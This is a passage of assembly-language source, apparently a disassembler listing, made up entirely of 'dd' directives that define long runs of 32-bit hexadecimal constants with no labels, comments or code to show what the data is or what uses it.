		dd 0B1468D1h, 0C2D01025h, 9B3B004Fh, 2BA867DBh,	0DF03767Dh
		dd 0A18418Bh, 0B400058h, 4022E9CDh, 7800E2C1h, 0D771CB25h
		dd 69C2C5h, 32133EAEh, 0A5F2D358h, 2FEEBB00h, 0C67F8E30h
		dd 41E2007Bh, 0C71FCF65h, 2C7A03DCh, 0FB00A67Bh, 307ADF44h
		dd 72440D3h, 616D9A78h,	24BE6FE8h, 1EF38C60h, 0D03012D9h
		dd 2F0281D6h, 1A4E004Dh, 43288F6Fh, 0D43F8A6Ch,	0D3B08E52h
		dd 0C9CB9E16h, 0D27706F5h, 0F9B080C9h, 2C000E0h, 0C2380F9Ah
		dd 0E500FF6Ah, 817804B3h, 0EC7FC59h, 278FA920h,	4A9EE881h
		dd 52CCE882h, 0F80067F8h, 2C264C6Bh, 0E3157h, 86AD9B21h
		dd 5DF17712h, 3CB82760h, 3087078h, 0ED2EF6A6h, 9DE0D290h
		dd 0F150A1F4h, 45004C84h, 213C7A1Dh, 4D7786h, 0BFC9BB72h
		dd 14D88C94h, 0F627D500h, 1C5EF9A7h, 25A50F56h,	67E39351h
		dd 0BAA0C7E7h, 12002824h, 0B0084586h, 61DCC5h, 0E7CBF2AAh
		dd 0E3EEA5ADh, 372F1200h, 23B28924h, 0FCA0A011h, 793200CCh
		dd 590BFE41h, 0E300D714h, 6D2758A1h, 0F62CA2B7h, 95A707A3h
		dd 0BC44A06Bh, 7C3886D8h, 1723810Fh, 11CE0853h,	56E2F0h
		dd 31A03E15h, 0C3719BE5h, 0CDF67707h, 0D310B77Ch, 0F6AA4196h
		dd 82F5304Ch, 1CA289A8h, 0F9C84D01h, 1D4295EBh,	0C03D2CC0h
		dd 0AE097EB0h, 0A930B05Fh, 264D307Fh, 8CF504B2h, 929BD01Fh
		dd 5846D860h, 1654AA01h, 0B7DEE091h, 24631424h,	60088737h
		dd 6F95418Eh, 0FDE8D000h, 0FB197DAh, 4FF30015h,	0F22D08C6h
		dd 25003EA7h, 1B09AD4Dh, 2D40B9Ch, 51A8440Eh, 77C1E198h
		dd 7D6CF00Ch, 0F2B17E00h, 26671CABh, 7BB32C2Ah,	0DC1E73h
		dd 9C11E4C5h, 0B604818Fh, 0C2A5DD36h, 153ECC8Ah, 3411EC03h
		dd 8EF0E85Bh, 0C90CFDA6h, 48C71303h, 0B4BD0006h, 2D8B28F0h
		dd 6A283DBFh, 1500ECEFh, 6B61A8EDh, 8D57B7h, 0F0A72C72h
		dd 12070147h, 3C5B6618h, 0FC0AAD28h, 0FAF84Ah, 9A695E6Ch
		dd 0CA558DD7h, 5BAE3813h, 599F0C00h, 70DD18Eh, 0F5119097h
		dd 9C790089h, 0E12CCB37h, 0BB1224D2h, 0E6ACF400h, 1BCCD7C0h
		dd 0D092DC7Fh, 74A15E88h, 46518109h, 9BD8180Fh,	0C4C95241h
		dd 1B70F403h, 8690F6D8h, 65001913h, 9DF3C912h, 0EA523025h
		dd 7D9F1CA4h, 2C18DFD2h, 4D9268h, 0A76CB6D8h, 0C600C777h
		dd 0D8CABCE1h, 4C198F3h, 949CB08Ah, 0B3383D3h, 0EF4080ECh
		dd 7013D286h, 45DFB13h,	12027D42h, 7B94403Bh, 60C203A7h
		dd 579FBD4h, 7A39BBC0h,	47F19860h, 7D1324E7h, 0CC3D303Ch
		dd 0E6FCDFD0h, 908B4800h, 1D850396h, 76C21F89h,	0C5E4806Fh
		dd 0BC8211E1h, 23035091h, 0A8C68553h, 0EAE2D5C9h, 0D6930289h
		dd 9E08433Dh, 68A6C864h
		dd 6F6A9501h, 0CBDA796Eh, 0D1B4A410h, 6BC30085h, 9D9B716Dh
		dd 219C5C4Dh, 332F8062h, 65F8A958h, 597EEF15h, 90F00884h
		dd 128022D1h, 5FFDB44Bh, 0CEFA01D0h, 0C9348D66h, 0E23DF09Ch
		dd 0FBEBF306h, 0C409353h, 34BD848Ch, 80096F1h, 0B0DECB42h
		dd 700A3561h, 44B9C0B8h, 2A9881D1h, 0FEB65D02h,	0C092800Eh
		dd 0C97353h, 893BCCA8h,	0EAB75C1Ch, 83A4B01Fh, 0E3789680h
		dd 0ECE6BB2h, 0C752B1E0h, 0A0E42CE0h, 0E103FF79h, 39C815Bh
		dd 98DBB3B5h, 6C3370h, 3A404BD0h, 216E4F5Ah, 0E0ED3D01h
		dd 6BC2B42Eh, 6DD71083h, 0E5C054D3h, 9409BE4Dh,	271C03F2h
		dd 0BF372934h, 0ADAAAF90h, 28D04904h, 89B57883h, 0E29F0609h
		dd 0B95080CFh, 1C36A35Ah, 40FC5620h, 0E5ECB03h,	8E4C1060h
		dd 0B0590008h, 866EB7E4h, 8E62481Ch, 8DCF1D00h,	0D3AEAA7Bh
		dd 2D0001EEh, 0A18BD789h, 0A7B272h, 0ACD26A0Ah,	0EAB11B0Ch
		dd 0FFAAF900h, 43E4C035h, 204031Ah, 0ED127AAFh,	216826E8h
		dd 9FD9B800h, 0F0A9521Fh, 0FDEC08h, 9684F2BBh, 59079A0Fh
		dd 4200EEF6h, 0D0C73302h, 1D7714C5h, 0B84490h, 98EC2619h
		dd 73ED263h, 222983B3h,	0E894CEE9h, 2BBF56h, 0F94A8E04h
		dd 0C43AF368h, 38D49F38h, 1CD8044h, 100907C0h, 0A8B2502Fh
		dd 0DFCE02B5h, 0AF4B71A4h, 29C33048h, 1D7FED76h, 0FB008492h
		dd 9588E9D7h, 0C2C840h,	0F2500A85h, 312BB72Fh, 0C1649704h
		dd 8881A123h, 0A107D6Fh, 8603DE8h, 0F9CAD240h, 0F63122Eh
		dd 98E040B2h, 8933B9ADh, 1017C4A0h, 0D0EF7F2Ch,	0A4F0C901h
		dd 0EC40A364h, 0BD46B5h, 3C49D1Ch, 0D191E678h, 6F28FE0Eh
		dd 36E4802Dh, 266C38h, 6375DF3Dh, 128EE6EEh, 5D02507Eh
		dd 0B19C4FCEh, 0BFC0406Dh, 4A3F0024h, 4BCC9951h, 0A1031610h
		dd 9E7B80CEh, 0C81FD25Eh, 0B91C90h, 0AC3E3FE8h,	7B722ECAh
		dd 5379932Eh, 830CD42Ah, 0A93E4FFBh, 0F0B2461h,	0AB0980ACh
		dd 0A56277F7h, 8AC3D700h, 19FDADD2h, 66EB0076h,	1154FCA9h
		dd 8C06313Dh, 0F5B0CCB9h, 0F82A16A0h, 0BD7700FEh, 0D7A928D4h
		dd 80DC7059h, 0CE5BC239h, 0AE58008Ah, 0B47FEBB1h, 0E4074941h
		dd 0E2851571h, 66E67752h, 16531394h, 78C070DEh,	7A758FA3h
		dd 0C53C0418h, 632DEB8h, 0B16453Fh, 701671F7h, 0E401D414h
		dd 6DC435Ah, 4C6EC0h, 0EAD022AFh, 1C8A31BBh, 3773120Eh
		dd 0E4E5241Dh, 501411C0h, 238F2E22h, 487C2478h,	250DC47Ch
		dd 12855893h, 658EBA8h,	891EEF9Ch, 8FB6BF19h, 0D0B28CE9h
		dd 0CC1AB3E9h, 0AE1A0978h, 5045D748h, 0AD31F700h, 0BA2A5C23h
		dd 0A81F5CBCh, 9C012125h, 0FF561722h, 0D4B16816h, 9C033E00h
		dd 989FC126h, 19890DCh,	5ABAC823h, 208A81FDh, 6E0B3A08h
		dd 2EB6B5E2h, 0BA89C0BCh, 0C0A7284Ch, 0FD7A6081h, 8700C09Fh
		dd 0ECD450AAh, 4199A0h,	5411A947h, 0A78FC95Ch, 13009A79h
		dd 0F2EE32ABh, 0F6E09824h, 934C0388h, 0E35165DEh, 3E94D790h
		dd 63024000h, 5D255AA2h, 588D1DE4h, 87DCE1h, 0DFFF99D6h
		dd 7B016C6Bh, 0F863FCA5h, 25D829B1h, 3DFE73h, 7A404FE0h
		dd 0A1C6604Ah, 0B41EB6EAh, 8F49CB77h, 6B70236Fh, 0F9D919B5h
		dd 0C886D138h, 4406DC27h, 6511E36Ah, 0C4D1F20h,	14F3C6DFh
		dd 1E27281Fh, 200C0074h, 17CB807h, 411271F7h, 215C6E82h
		dd 0C317DCBCh, 815D383Dh, 0FD688DC6h, 2080656Ah, 4B85479Eh
		dd 0A900B292h, 38B9B580h, 0F3C68Ch, 0DA88FD67h,	8BD53917h
		dd 6FFA8374h, 1EE5FE00h, 2EEBC416h, 7CAB0052h, 338724Fh
		dd 5548C9EFh, 244A0F3Ch, 3A7EA012h, 0E91DC8h, 0FFD89D2Eh
		dd 0F4C6396Bh, 8A0E4000h, 38501A4Fh, 2DCC009Ch,	0D5815A85h
		dd 9900E28Dh, 6B14C99Dh, 1DB1912h, 92B724EBh, 29A7CCC8h
		dd 73047D6Ch, 0E4CDA4B4h, 0D5DC090h, 2810038Ch,	1ECF27F8h
		dd 0A08059FAh, 0AAE04882h, 0D8AF0400h, 0EFC45B8Bh, 8B10094h
		dd 3C9AE324h, 3A39594Fh, 3EC70026h, 42A912FEh, 56E237h
		dd 8667C63Dh, 723539Dh,	40B67200h, 5BAA3EA4h, 0EB7F45Eh
		dd 0C0E4DBC4h, 0B4FF00D3h, 456785D7h, 190ABD00h, 254762EEh
		dd 155400A0h, 0BED4CC4Ch, 1000BAECh, 91CF8FF4h,	0F14906h
		dd 93B2085h, 0EAE16DBDh, 0B1284200h, 0B9D6705Bh, 0B41C00D9h
		dd 7E602FD8h, 7D001497h, 0D4A54FC0h, 492537h, 77A3570Bh
		dd 5D5B0370h, 80D2F93Fh, 4EE4E396h, 87015Ah, 6D279174h
		dd 0AB5D2044h, 9D38291Fh, 0A06F7240h, 1481BBh, 4E612BCEh
		dd 8086576Eh, 0E7BD5801h, 2DF851E1h, 0F592C0h, 0FAAFC3F2h
		dd 883F1202h, 2B803D00h, 320AE043h, 3B9831h, 0AC39D26Fh
		dd 6ED7961Dh, 0BBC44800h, 35868859h, 379D003Dh,	0FA531BB5h
		dd 0AF01DDCAh, 61368C4Dh, 0F2FCE3D0h, 69913F3h,	0B0C0D021h
		dd 5C00CCF4h, 60A13B42h, 24806FCEh, 0A731D2h, 0AB5A5F9Ah
		dd 20C0E0A6h, 9B98F78Ah, 0EF310037h, 0CDF012A2h, 149828D5h
		dd 0E13EB3F4h, 0AD410049h, 7279AF20h, 6630D82Fh, 343FF6BAh
		dd 6E400036h, 0C51DF34Eh, 73FD05FFh, 80CC476Ah,	0D3FBBFFCh
		dd 40D83600h, 8598C195h, 0D77F0158h, 9A9C118Ah,	0E76820FBh
		dd 0EB252000h, 6A287AC5h, 903A008Fh, 5DC13504h,	0BE01FA4Eh
		dd 3EE6BDD0h, 0F7605381h, 38A063B9h, 80E0E9AEh,	0BC267F22h
		dd 0B680B435h, 68D2A7CAh, 0D18C0047h, 0EE5B86BBh, 0B807F78Bh
		dd 0E5819628h, 0B30FE010h, 1B260717h, 70207845h, 0A2CE9788h
		dd 0FE8E7B07h, 42C0DD24h, 12C58632h, 686E5Eh, 0F9C82E8h
		dd 0D200168Fh, 0C6A155A0h, 9AF075h, 0CFF1103h, 0AAE24638h
		dd 75DAF00h, 0E70569B9h, 0CDE10075h, 60213A8Ah,	61B8AC71h
		dd 33F02009h, 10E8003Eh, 7DDFC4h, 0E23CDD4Ch, 3B069C1Bh
		dd 0A0FD982Ch, 0D4155200h, 304843h, 95191840h, 916B6926h
		dd 86C7A40Fh, 127408Bh,	0F2D9FDFBh, 4243BDCh, 0ACEEF901h
		dd 0D4757FEFh, 0DF003BBBh, 6CD1CCBDh, 6A499Eh, 5601CE5Fh
		dd 0B7D774C6h, 0B40EA090h, 0C0139CAEh, 4BFF86B2h, 8250000Dh
		dd 7DDE3A23h, 3800DDE3h, 9570E91Eh, 3937B4h, 862FB141h
		dd 0B3E7CEEBh, 0AB98A90Ch, 8850E5h, 6882915Ah, 0EF768502h
		dd 8F5FFD0Fh, 0F865607Ch, 0B85CF73Ch, 30E76090h, 1AECE2ABh
		dd 12014F7Fh, 4A0D89A0h, 6EF03510h, 317144Dh, 7302945Fh
		dd 0A0762638h, 0AD48D960h, 582BC324h, 1FAFC900h, 0EE35A11h
		dd 0E5AEB564h, 8E909F40h, 0E6008ACFh, 0E4FCA782h, 0EECE8FB2h
		dd 4C3B0919h, 0A860267Dh, 2800848Dh, 2FE08033h,	0BDAA0A8h
		dd 15787263h, 4D594C00h, 6209ABF5h, 0C81F86EFh,	0C52B10h
		dd 8C185B8Ah, 31799DBAh, 600DD701h, 907D07D0h, 6194EC0h
		dd 0FE44758h, 2B00A82Ah, 652C36Eh, 1C1323CEh, 19E8CC85h
		dd 0BED52004h, 26685D2Ch, 0B61EE9A2h, 6216FEDDh, 0D018B219h
		dd 393ABC00h, 350EB5FEh, 0E0725D9Ch, 11877F2h, 205C0F55h
		dd 4541190Fh, 81B133F6h, 0A7A40E38h, 3840E124h,	7CEDB806h
		dd 0F55E00E6h, 6AC4F2CDh, 6C0047EAh, 0E29AF150h, 7766F62h
		dd 2D6D58CEh, 884126A7h, 8CC01F0Ah, 0F180A46Eh,	190CE12Bh
		dd 20E06B3h, 29EEE4A7h,	2966B800h, 0C5D6CBA6h, 26CA0055h
		dd 0DCFAB5AEh, 38015AB2h, 0AC2E2CD4h, 0D9D92D31h, 3C549D8h
		dd 592A1243h, 0B13FFECAh, 28EB82A0h, 0E0C39E85h, 0E8CCAE7Bh
		dd 3E21C0CFh, 8C10EBBFh, 0BC99C000h, 0BDD3B7B5h, 0ACFF3C09h
		dd 217E0180h, 0E55F78D8h
		dd 4006FE71h, 6D962768h, 0D0A00C9h, 53FF0397h, 0A733040Eh
		dd 7B0864h, 975EA821h, 71D0318Ah, 137FF100h, 94EBBD43h
		dd 87C8C540h, 3DB8004Ah, 2EE210D2h, 0E7BFE8A9h,	91BF9293h
		dd 98E86EA6h, 5F21C509h, 31BF0322h, 7AA5994h, 6BAC7E8Fh
		dd 8A00D479h, 0D67DFFD9h, 807A7569h, 0AC73EC45h, 49D89F6Ch
		dd 0EBEA001Fh, 0FED15042h, 2D333C19h, 0A4B820F9h, 432D500h
		dd 40005894h, 65F53545h, 0D9F748FBh, 1817B8C0h,	0EE0FE428h
		dd 0C6448C86h, 0BF2500A8h, 71329D84h, 3003FFB6h, 0CD05F2DBh
		dd 0A77100B3h, 0B9A6F688h, 730E034Ch, 0C1060CDDh, 4D9C19B1h
		dd 6AA00FCBh, 51E0C5C2h, 0CF660827h, 7F49B600h,	3A7156C9h
		dd 0BA36009Ah, 7084313Eh, 0D81CB53Bh, 8980A674h, 22A01120h
		dd 8CB07C0h, 10F5B4C9h,	0FF71BE63h, 0A2CF3Bh, 15E7657Bh
		dd 3C10C72h, 0A8AF2561h, 0C5A2E82Ah, 4C8F4840h,	5004A7Ah
		dd 0B24E49BDh, 3AD1933Ch, 70BF8D07h, 4645276h, 1F00A7FEh
		dd 3D0EBE6h, 5537366h, 200C9CB3h, 291D1C3Dh, 31D7610Dh
		dd 0C1FB4446h, 4199F4D5h, 3704AA00h, 0AC422A98h, 84C00456h
		dd 8CED6Bh, 87DBE3ABh, 381603AFh, 3DA909DFh, 31AE8100h
		dd 4EB75817h, 8EC5035Bh, 6C3A3BC2h, 2029BFB8h, 18D8FF4Ch
		dd 0A9B1765Ch, 0AB0800D5h, 60224D85h, 7D3A54BCh, 8C1503A5h
		dd 3BF46E67h, 0A43001C8h, 73B1DCB1h, 0A18F41C0h, 0F00906h
		dd 716C8325h, 0ADB8DCDAh, 0D0201860h, 0CF2FA908h, 0D680D9A1h
		dd 8875168Ch, 96005D74h, 1FB3427Ch, 370E7D3h, 0E0430976h
		dd 7806EA5Bh, 65A90340h, 37B63841h, 1A3E6905h, 5AA4401Eh
		dd 1DD384EFh, 0EAB41218h, 3C588208h, 0D000192Ah, 900722CEh
		dd 0E6000865h, 0DB6EEE01h, 0B8E55D15h, 58771D01h, 0A8C60235h
		dd 0EDC33183h, 0D1995014h, 70C960BCh, 0EA7649h,	9578CE2Ah
		dd 0E462E5B6h, 6CC7D403h, 5C0B84h, 1C1ECF51h, 2557751Fh
		dd 7130FE00h, 0AF16F386h, 4B6B22E7h, 0A5537D00h, 0E5D61B82h
		dd 0B60D05D3h, 0E0EDA234h, 0A9302796h, 0E544F962h, 0B3680116h
		dd 0BB857DE4h, 4C0898DCh, 39ED7921h, 188B9B11h,	0B580DE02h
		dd 767D51A9h, 0DCDC0D2Ah, 8CEE307h, 0CD90CC2Eh,	11FA04h
		dd 0F757C136h, 3D610D43h, 0A1240937h, 0E04FF88Ah, 1C74B9AAh
		dd 6D2700A5h, 0EE88F306h, 0E800A786h, 54892087h, 1876B3BAh
		dd 39D3D201h, 0A1CF4BFAh, 975AC098h, 0B1FFCBh, 0C14E997Ah
		dd 0EFD45CCAh, 0D375C000h, 0B640359Fh, 0E89501DEh, 5C1018F2h
		dd 9034249Dh, 82142E7Fh, 2AB4340Bh, 0A430B8F3h,	26DD2019h
		dd 46300040h, 0A2B5B12Ch, 3F127C6Dh, 9C40EA6Bh,	0FC52D03Dh
		dd 0FBBD3AD2h, 6B42401h, 0E1057479h, 84C0580Bh,	334C2CC4h
		dd 3A242C81h, 82B1C980h, 65B75EC5h, 66749A05h, 9C060378h
		dd 2469E3F6h, 4E585753h, 0ECA192CCh, 80B4C73Eh,	283D7D88h
		dd 125A15E9h, 48EF2FB7h, 84709AB0h, 83063510h, 0C9680299h
		dd 4C46E746h, 39799D00h, 0A5AA143Dh, 9AC70029h,	6D78CCB7h
		dd 949168DBh, 8ED2000h,	63A96944h, 9372A187h, 29C8FFC3h
		dd 8300423Ah, 2A6F0696h, 0C149E73h, 5E1D0843h, 810FD199h
		dd 55A63Bh, 65E1C4B3h, 0F9E663F3h, 2900B20Dh, 0DC1DBD82h
		dd 90C3A0h, 6C247ABFh, 0F198DFCCh, 0B148DD12h, 83D6044h
		dd 0B98AE48Bh, 8A5B08ACh, 860720B1h, 33437183h,	3DF88006h
		dd 4260B9A3h, 40C56738h, 86A0F9Ch, 240D38Eh, 42011586h
		dd 23308C48h, 40300116h, 18C4F6C8h, 28DF88A7h, 56514000h
		dd 7BE682CDh, 0F7B5Bh, 0A0B60237h, 6386EC03h, 0D0981709h
		dd 0FADC83A1h, 0A7B11F33h, 42A21CF4h, 0A4ECAA1Dh, 0B0159463h
		dd 24801F1Ah, 2B000809h, 7B66D579h, 803BE40Dh, 49C038FAh
		dd 8068CB1Fh, 58DB011Eh, 52D2D5B5h, 770C2095h, 8735B938h
		dd 0BC985AC4h, 1C135FC5h, 88563C08h, 68A80953h,	0CC4743Eh
		dd 215768B5h, 212C052Ah, 0ACD67FCh, 98A4A5A0h, 0B48B211Bh
		dd 0EB342201h, 0C4D07689h, 0C48720C0h, 306BCA48h, 23E52127h
		dd 0E008156Ch, 0EF5C008Ch, 0F0D01021h, 506BA818h, 180C139h
		dd 7A4FBB66h, 8FF27B84h, 61274A31h, 43767872h, 0D9310BC9h
		dd 1D64C981h, 433F0ACAh, 0F07DA2BCh, 0E8772C88h, 8C1D0BF2h
		dd 2C201A0Ah, 0A65F6CE2h, 86F7E00Bh, 417E06AFh,	642C0458h
		dd 624A83Ah, 103828EDh,	0ED55636h, 0C7C25E23h, 0ED80EA88h
		dd 0C1A30F0Dh, 0CD2AAD49h, 34646001h, 2924D83Fh, 17001828h
		dd 4BD1E58Eh, 608A24A4h, 6F1080F4h, 0BBE82265h,	8CC67F00h
		dd 0AFFB88DFh, 381C00CCh, 47A09727h, 498CAD4h, 24D7B100h
		dd 0D9CDC0F0h, 9CC71CB7h, 1AAF4089h, 76758F4Fh,	2AB85A63h
		dd 1EF105EFh, 48131091h, 758E739Ch, 84A0664Bh, 0C5700F11h
		dd 0AD037758h, 4C53C9Fh, 3168B6ECh, 67E8F96Bh, 0F1448C75h
		dd 21130090h, 9F28FE4Eh, 0A902D92Ah, 0FA29C671h, 5BD8A037h
		dd 6A2EDA3h, 0A9AC801Eh, 7D0E193Bh, 0C0CDEE29h,	2EB13340h
		dd 61A71F4Bh, 8742499Ch, 0BDFE0420h, 0C00085B6h, 2276FA78h
		dd 16F5BC36h, 2068826Eh, 0BB0E29B0h, 3E11603h, 89228494h
		dd 0C248BFAh, 29536068h, 9895C9CBh, 0F00E3E7Fh,	2518B51Ch
		dd 81BF59FEh, 8D83D550h, 0A9BDDC79h, 0C9FEE0h, 0EE099D68h
		dd 0D7D2105h, 0D65B7900h, 92B9F099h, 0EA1CA00Ch, 387006Ah
		dd 7F3D23Dh, 0B20C8B98h, 5174FA35h, 62683EC6h, 8788800h
		dd 15E0EC11h, 0F002D698h, 6BBBE316h, 597F40F5h,	6DFA30B8h
		dd 0D9CF8A39h, 0A942802h, 0C0EEB5F6h, 177362A4h, 841A01Fh
		dd 0CB802160h, 0B512C8C3h, 3C4B003Dh, 27F24950h, 3403587Fh
		dd 0B9232FD3h, 0A0DFAB85h, 0F0DC2572h, 1F1C788h, 71D1CCD5h
		dd 5AD2DB02h, 52126517h, 24275C68h, 0F89F2976h,	1F3D05E8h
		dd 5B8C88F4h, 15F13945h, 77D6062h, 0D6B89622h, 1C21FCFAh
		dd 7E2FD700h, 160CDDA9h, 3710095h, 6134D083h, 3DF276D8h
		dd 9F44CF00h, 21D47DBh,	0A8990390h, 881A253Ch, 0C5761BE0h
		dd 0FB00B3F8h, 38BBDA93h, 340A4C4h, 855D5BE2h, 64D8808Ah
		dd 2D00C8F9h, 0D39FF2BEh, 0F11F14h, 71E4CA4h, 0EC0ECC80h
		dd 565DBD00h, 0A192AEC8h, 86DE015Eh, 780C321h, 3B44808Fh
		dd 0EE0BD41Bh, 1BB1F817h, 202CB586h, 0B8405103h, 0FEA84B0Ah
		dd 58420111h, 4D9D8AC2h, 36933025h, 96D08C6h, 1037020h
		dd 0DAFD1BC2h, 0C434EB87h, 0D0029267h, 143BE04Eh, 9120C304h
		dd 0E2E00B28h, 6B70E1F1h, 0C4DE0032h, 0D0E9CD0Ch, 0D800D2EDh
		dd 0E66A8816h, 0C45365D1h, 0C23898h, 4672EFE2h,	12C3763Dh
		dd 60ABEB0h, 28C5BDF1h,	0FDC99E00h, 0B2E426F2h,	0D8900034h
		dd 0F7659FBh, 0C23D2466h, 0AFEF802Ch, 5E8A869Fh, 0EB8B00ABh
		dd 3AC376D2h, 74F3B6ADh, 3800EC7Eh, 0C9F09D97h,	0EA90EDAh
		dd 908BC47Ah, 1D509EE0h, 0BAEA52E1h, 96D44600h,	3575BB4Ah
		dd 1C04036Bh, 90B1814Dh, 4B6CDBC8h, 80038E3Bh, 1EA8A13Fh
		dd 652E97A9h, 3A0511FFh, 0E258C304h, 0B710007Ch, 6B6E9816h
		dd 303BD222h, 0E88900EAh, 3B474593h, 0CB00024h,	50FFA042h
		dd 0F40062A1h, 7307E69Bh, 120D43h, 0A91D8B1Bh, 4D5F80BEh
		dd 0B2F63501h, 57CF7907h, 38916DDCh, 0BA018902h, 6410D08Ah
		dd 0C0BECDBBh, 0D1F6704Bh, 732F1D00h, 34A25F93h, 0D49800D9h
		dd 304C9D5Dh, 5C60D77Eh, 0A86BFE38h, 74683F89h,	0CA215B00h
		dd 0EA04B09h, 5FC65D0Fh
		dd 0F830E007h, 4FA172h,	88F09E84h, 0CECC43CAh, 0F30BA000h
		dd 0E66F7CA6h, 0BDAD074Bh, 60CAB1DDh, 244EA889h, 733A1B06h
		dd 48DA4Fh, 5DB2A2B6h, 185955A1h, 9300AB75h, 2226CFF3h
		dd 0FBF174E9h, 0AD0DFFCh, 2425BF94h, 0E8AA8FB4h, 7C7E40E0h
		dd 0C0C05DCBh, 323D2734h, 50BE06A2h, 391C5390h,	7E88AE7Ch
		dd 170100B5h, 55DA913Ah, 0BB0060A0h, 0E0112BC0h, 185C1FF4h
		dd 91109ADCh, 700FE93h,	19CD52DDh, 0A7E0D3h, 97ADAC81h
		dd 0C97C7845h, 11007470h, 8DFFC455h, 7C0138Ah, 73A34622h
		dd 0BD6060D6h, 2906E298h, 0AA521FDCh, 0D02500AAh, 77E711CCh
		dd 9A017B47h, 6F809D44h, 91D475F5h, 86721E45h, 66701F25h
		dd 6C0900D5h, 0B4BC172Dh, 0CFDEC51Ch, 1E0AB000h, 24E0CAh
		dd 1CF1CBA6h, 0B4CE8A9Ch, 0A9D4FC01h, 7A69B8BFh, 3EA08040h
		dd 0F350F9Fh, 568011B2h, 0C4771FEDh, 400D0A0Eh,	807B5D5Fh
		dd 4FEC8DB3h, 3B9A59D5h, 0E780E883h, 425C8732h,	0F0C71F08h
		dd 29A0D55Eh, 54C756h, 534ABC93h, 5AE131F2h, 0DB704401h
		dd 6245E72Bh, 215FC441h, 0F55AF911h, 0E927D403h, 8A644A05h
		dd 0CDC0B423h, 0DF60E8h, 0DC6D8584h, 4DCB651Bh,	6A672D17h
		dd 0C869600h, 7B593D3h,	99726277h, 5F9720C4h, 778B7A1h
		dd 0D65D8D00h, 144D2ECDh, 0D10400ABh, 71A8E8B5h, 0AD907B73h
		dd 2CFC0550h, 3900197Ch, 9E3F9DB6h, 7C72F4C1h, 0DF0C1F22h
		dd 67B94246h, 0D6403C29h, 50007E81h, 0F6FAAB06h, 3D583231h
		dd 0D493AFB9h, 0C50040A5h, 765A2B1h, 318B2D09h,	35240052h
		dd 0F7A4Fh, 27AF68C0h, 0B0BF1BC7h, 0EC502300h, 28E303F4h
		dd 20920088h, 0F6FFCDFBh, 0DC70E2D7h, 8E6AA700h, 0D818CF63h
		dd 66253B71h, 3100BF4Ch, 0EF62AD16h, 0EB005D03h, 449B78CCh
		dd 0E9249Ch, 0B874BDCDh, 9E3AA31Bh, 0F8767F07h,	0A4D06C66h
		dd 81D2E2h, 15B19B79h, 423071C0h, 7502A200h, 5E9872B3h
		dd 0B57F64h, 9B668F26h,	321259BCh, 423DA400h, 0DDE7CAD8h
		dd 687A009Dh, 4D0E33A9h, 9400990Ah, 0F073CC05h,	6EB1A7h
		dd 95C8A6ECh, 7C2E2CB3h, 3EBC9E00h, 94841AF1h, 23B400F0h
		dd 5551652Dh, 52008846h, 1A7C9149h, 70BB38h, 676F9A4Eh
		dd 242FD1Eh, 8F0E4301h,	0F01B7B58h, 144E73E8h, 0C0AB7E1Ch
		dd 0CC009C3Dh, 69EAD07Fh, 0D8384D64h, 97B48E53h, 0BE6E40DAh
		dd 0D5D4C1h, 9ACC5AEAh,	94449A9h, 13667000h, 92ECF595h
		dd 0E3F000Dh, 5D32382Eh, 41006AEDh, 9BDC20F0h, 0F2C4C45h
		dd 90968F69h, 74B45BA0h, 0DF0026BDh, 6BE17275h,	876671h
		dd 6798AE4Ch, 0D718D4BFh, 91A80C04h, 84901378h,	1C6ED69Fh
		dd 0F6F47h, 0E790D095h,	0FA1321D8h, 0B8040B33h,	74877078h
		dd 0E81BA233h, 0C0D7B0FEh, 23932718h, 7B085709h, 8D96A5h
		dd 67836DF8h, 48B28650h, 1C36B600h, 499D1093h, 0A2C00B9h
		dd 0F435F9D5h, 0E00FD634h, 40A0C967h, 3FF86A3h,	7151070Fh
		dd 10F33181h, 0F0014EA2h, 6732C400h, 0D7F205E0h, 913C1E24h
		dd 353C2E3h, 0BF40B426h, 1200BD3Ah, 864A7564h, 5EB6BCBh
		dd 513CD342h, 0AB800E33h, 72573000h, 9C009F79h,	0B6BE7EEBh
		dd 4C15B2B1h, 39006CFAh, 0D6831252h, 0BD00D79Eh, 2DF677AEh
		dd 0FB2073Eh, 3B39DA0Fh, 0A96F8DAFh, 0E91531E0h, 10108B5h
		dd 0D067506Ch, 53DCE1DEh, 80235345h, 9614CD00h,	1AAAE70Ah
		dd 7A0AA0ECh, 0DEF29971h, 5201A900h, 0EC1B8FB9h, 9F240108h
		dd 0A103C518h, 5FD9F7F2h, 0CE30D4BDh, 0D32BD500h, 0E4A57057h
		dd 3A7CE9h, 254E49B7h, 1250888Dh, 7701BB0Eh, 0F1F7E00Ch
		dd 0B5787Fh, 803B1441h,	862F23A3h, 0EA2A990Eh, 54040DAh
		dd 9F8C8Dh, 0F6913736h,	9D11574h, 76B5CC00h, 757E6FD0h
		dd 7CAF84Ch, 68A79091h,	3243F0E1h, 357E2DC2h, 836C522Ch
		dd 22D62900h, 3407CCEh,	55A8EAF5h, 0EEB06636h, 1100DAE1h
		dd 5801BEC2h, 1C7F910Ch, 98B01B89h, 311758A7h, 0BC2E1998h
		dd 5C806CDEh, 59FD7D67h, 80E479h, 610A091Ch, 0E2B9CE83h
		dd 0AEB0BD00h, 3519C5BEh, 38A7002Fh, 9CCB1F6Eh,	0B939B157h
		dd 164B001Eh, 6DE8C47Ch, 5CD50078h, 0C3E28371h,	7D05DAB5h
		dd 0AD2AE5F1h, 15067480h, 6A6C30D9h, 0C3BA2380h, 9B672BF0h
		dd 0E287AA11h, 2F6097C0h, 0A9D2B4h, 0E8F2E3B6h,	0F800CBA0h
		dd 2970D1D0h, 0CE7B53h,	0D7C0C86Dh, 24E6CF72h, 3CD21600h
		dd 19CC692Dh, 0E1FE0055h, 2AA6B7C7h, 6500B899h,	28F77CF0h
		dd 9133207h, 0E36A2B4Dh, 2975E020h, 79197C1Dh, 0F8211A71h
		dd 82EADFE1h, 4801B748h, 4CE32AC4h, 2860564Dh, 0AEA384F0h
		dd 395800F9h, 5A2E00FEh, 918CDEB6h, 84F4064Eh, 0E6B7B300h
		dd 3F65A93Ch, 0F1854CD4h, 0D9F4220Eh, 8A20956Fh, 0FEF5DF9Bh
		dd 50195400h, 0FB23C199h, 0B1491DA1h, 0F6874084h, 0FD7CD865h
		dd 0D7C51E00h, 3F13F851h, 6BC20030h, 5D486CDh, 0A4007912h
		dd 7F49BCA3h, 6748801h,	5170FF2Ah, 0C800D1B2h, 4E2DA6A8h
		dd 1DADC3A2h, 18C6EA2Bh, 0ABEB21C4h, 4E11A600h,	92200971h
		dd 0F81F0055h, 0DD159D4Fh, 0AC0136CEh, 0E971B239h, 4CD3732h
